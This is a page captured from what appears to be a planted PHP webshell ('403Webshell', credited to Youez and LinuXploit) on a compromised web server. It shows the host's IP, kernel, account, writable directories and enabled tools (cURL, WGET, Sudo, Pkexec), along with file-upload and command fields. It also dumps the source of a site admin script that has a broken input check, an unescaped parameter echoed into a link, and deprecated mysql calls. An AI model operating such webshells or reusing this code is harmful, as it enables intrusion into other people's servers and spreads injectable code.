403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.185
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/store.tiacyrusxxx.com/public_html/dev/xfcadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/store.tiacyrusxxx.com/public_html/dev/xfcadmin/adm.content.browse.php
<?php
include_once ("adm.config.php");

if (!isset($_GET['id']) && !is_numeric($_GET['id'])) {
	die("<br /><br />error 1<br /><br />");
}

if(isset($_GET['ct'])) {
	$ct = $_GET['ct'];
} else {
	die("<br /><br />error 2<br /><br />");
}

$content_id = addslashes($_GET['id']);

if($userDetails->xfcadmin == 9) {
	$sqlAdd = "";
} else {
	$sqlAdd = " AND model_id = '".$userDetails->model_id."'";
}

$get_sql = mysql_query("SELECT content_id, content_type, directory FROM cms_content WHERE content_type = '1' AND content_id = '" . $content_id . "'".$sqlAdd) or die(mysql_error());

if (mysql_num_rows($get_sql) == 0) {
	die("<br /><br />error 2<br /><br />");
}

$contentInfo = mysql_fetch_object($get_sql);
$getImages_sql = mysql_query("SELECT * FROM cms_content_items WHERE content_id = '" . $content_id . "' ORDER BY itemID ASC") or die(mysql_error());


	$imageRoot = $contentPath.$contentInfo->directory;
	$imageRootTN = $contentPathFree.$contentInfo->directory;

	echo '<div style="width: 1000px; margin-left: auto; margin-right: auto; margin-top: 20px;">';

	while ($image = mysql_fetch_object($getImages_sql)) {
		
		$url = "adm.crop.php?id=".$content_id."&ct=".$ct."&iid=".$image->itemID;
		
		echo '<div style="display: inline-block;">
		<a href="'.$url.'"><img src="../../' . $webPathFree . $contentInfo->directory . '/' . strtolower($image->filename) .'" style="padding: 8px;"></a>
		</div>';

	}

	echo '</div>';
			

?>



Youez - 2016 - github.com/yon3zu
LinuXploit